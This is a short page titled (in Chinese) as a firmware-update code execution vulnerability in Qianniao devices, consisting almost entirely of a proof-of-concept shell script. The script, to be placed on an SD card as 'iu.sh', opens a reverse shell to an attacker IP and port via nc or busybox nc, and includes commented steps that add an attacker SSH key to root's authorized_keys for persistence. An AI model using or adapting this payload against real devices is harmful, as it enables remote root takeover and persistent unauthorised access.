CVE-2026-30603 Qianniao固件更新代码执行漏洞

#!/bin/sh # PoC script for CVE-2026-30603 # Name this file as 'iu.sh' and place it on the SD card root # Configuration for reverse shell ATTACKER_IP="192.168.1.100" ATTACKER_PORT="4444" # Check if netcat exists if [ -f /bin/nc ]; then /bin/nc $ATTACKER_IP $ATTACKER_PORT -e /bin/sh & elif [ -f /bin/busybox ]; then /bin/busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/sh & fi # Example: Add SSH key for persistence # mkdir -p /root/.ssh # echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> /root/.ssh/authorized_keys # Indicate successful execution echo "[+] Exploit executed successfully"